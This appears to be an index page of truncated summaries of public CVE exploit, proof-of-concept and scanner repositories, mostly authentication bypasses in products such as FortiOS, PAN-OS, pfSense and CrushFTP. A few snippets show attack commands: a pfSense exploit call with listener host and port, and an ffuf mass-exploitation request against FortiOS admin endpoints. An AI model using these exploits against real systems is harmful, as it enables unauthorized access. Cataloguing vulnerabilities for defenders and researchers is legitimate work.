CVE-2014-4688

CVE-2014-4688 root@kitploit: python3 pfsense.py --rhost 10.10.10.60 --lhost 10.10.14.2 --lport 9999 --username rohit --password pfsense...

CVE-2020-2733

CVE-2020-2733 - La contraseña de administrador de JD Edwards EnterpriseOne Tools no está protegida adecuadamente Imagen 1: Descifrar la cadena Imagen 2: Descifrar proporcionando la URL CVE-2020-2733 Aplicación: JD Edwards EnterpriseOne Tools Versiones afectadas: JD Edwards EnterpriseOne Tools 9.2...

CVE-2022-40684-POC

CVE-2022-40684-POC FortiProxy / FortiOS Authentication bypass Mass exploitation /api/v2/cmdb/system/admin/ "ssh-public-key1": "" root@kitploit: ffuf -c -w hosts.txt -u FUZZ/api/v2/cmdb/system/admin/admin -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded:...

CVE-2022-33679_Checker

CVE-2022-33679 Checker Lightweight checker that tests whether a set of Active Directory credentials is exposed to CVE-2022-33679 Kerberos AS-REP roast without pre-authentication. The code is derived from Bdenneu/CVE-2022-33679 and keeps only the detection path—it never attempts exploitation. It...

CVE-2024-0012

Palo Alto PAN-OS CVE-2024-0012 Vulnerability Checker This Python script checks for the presence of a critical authentication bypass vulnerability in Palo Alto Networks PAN-OS Management Web Interface, identified as CVE-2024-0012. The vulnerability enables an unauthenticated attacker to gain...

CVE-2025-29927

CVE-2025-29927 Critical - 9.1 Next.js Middleware Bypass Vulnerability Hands-On of CVE-2025-29927 vulnerability in Next.js application where the internal header x-middleware-subrequest can be used to bypass middleware authentication and restricted access. Explained Next.js use an internal header...

CVE-2012-2122-Home-Lab

ENGLISH BELOW CVE-2012-2122 MySQL Authentication Bypass Home Lab Lab นี้เป็นตัวอย่างสาธิตช่องโหว่ CVE-2012-2122 - MySQL Authentication Bypass เกิดจากข้อผิดพลาดในการเปรียบเทียบค่ารหัสผ่านใน MySQL เวอร์ชัน 5.5.23 หรือต่ำกว่า เมื่อผู้โจมตีส่งรหัสผ่านผิดซ้ำ ๆ หลายครั้ง MySQL...

CVE-2021-33044

CVE-2021-33044 Exploit de omisión de autenticación en dispositivos Dahua IPC/VTH/VTO Acerca de: La vulnerabilidad de omisión de autenticación de identidad encontrada en algunos productos Dahua durante el proceso de inicio de sesión. Los atacantes pueden omitir la autenticación de identidad del...

Superset_auth_bypass_check

Supersetauthbypasscheck Apache-Superset authentication bypass vulnerability CVE-2023-27524 detection tool Fix date: 2023.8.3 Fixed session invalidation caused by hardcoded session expiry time, introduced flasksessioncookiemanager tool to generate real-time sessions for detection. Fixed the bug...

CVE-2020-13937

CVE-2020-13937 1. Vulnerability Description： Apache Kylin has a RESTful API that exposes configuration information without any authentication. 2. Reproduction Vulnerable comparison Non-vulnerable comparison Writing PoC Verify correct single URL: pocsuite -r CVE-2022-26134.py -u url Verify...

CVE-2020-14368

CSWSH-THEIA-CVE-2020-14368 Report target: Eclipse CHE deployment available on che.openshift.io Vulnerability type: Cross-site websocket hijack Discovery date: 2020-04-08 Author: Robin Duda codingchili@github Summary The /services websocket endpoint in Eclipse CHE adn Theia is vulnerable to...

CVE-2023-27524

CVE-2023-27524 Tool for finding CVE-2023-27524 Apache Superset - Authentication Bypass...

CVE-2024-46507

The script was tested and built on Ubuntu Server 20.04 LTS, while Kali Linux was used for exploitation and walkthrough. This walkthrough guides you through exploiting the vulnerable server containing CVE-2024-46507 command injection and CVE-2024-46508 authentication bypass vulnerabilities. Initia...

CVE-2024-41107

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 We demand the safe return of all citizens who have been taken hostage by the terrorist group Hamas. We will not rest until every hostage is released and returns home safely. You can help bring them back home.https://stories.bringthemhomenow.net/ 🚀 CVE-2024-41107...

CVE-2025-54309

CVE-2025-54309 CrushFTP Authentication Bypass Overview CVE-2025-54309 is an authentication bypass vulnerability in CrushFTP that allows unauthorized administrative user creation through AS2 header manipulation. Technical Details Vulnerability Location File : crushftp/server/ServerSessionHTTP.java...

CVE-2025-14733

WatchGuard IKEv2 Scanner — CVE-2025-14733 Identify WatchGuard Firebox appliances vulnerable to CVE-2025-14733, a critical pre-authentication vulnerability in the Fireware OS IKEv2 implementation. This tool performs safe version detection through standard IKEv2 negotiation. It does not attempt...

salt-rce-scanner-CVE-2020-11651-CVE-2020-11652

1 What is it? Scanning tool to test for SaltStack vulnerabilities CVE-2020-11651 & CVE-2020-11652. The vulnerabilities allow an attacker who can connect to the "request server" port to bypass all authentication and authorization controls and publish arbitrary control messages, read and write file...

cve-2024-46483

CVE-2024-46483 - Pre-Authentication Heap Overflow in Xlight SFTP server Affected versions Xlight 32 and 64-bit versions = 3.9.4.2 Impact An unauthenticated attacker with access to Xlight SFTP could gain code execution or cause a denial or service. Root Cause Strings sent across the wire in the SF...

proftpd_bypass

This tool uses a specially craffted chain of commands to exploit CVE-2015-3306 and bypass the authentication system of ProFTPD's modcopy. It can be downloaded here you will need to run it from the command line Usage: proftpdbypass target port lcopy within target/rcopy to target lpath rpath...

CVE-2022-1388

CVE-2022-1388 BIG IP REST RCE On F5 BIG-IP 16.1.x versions prior to 16.1.2.2., 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Use the following...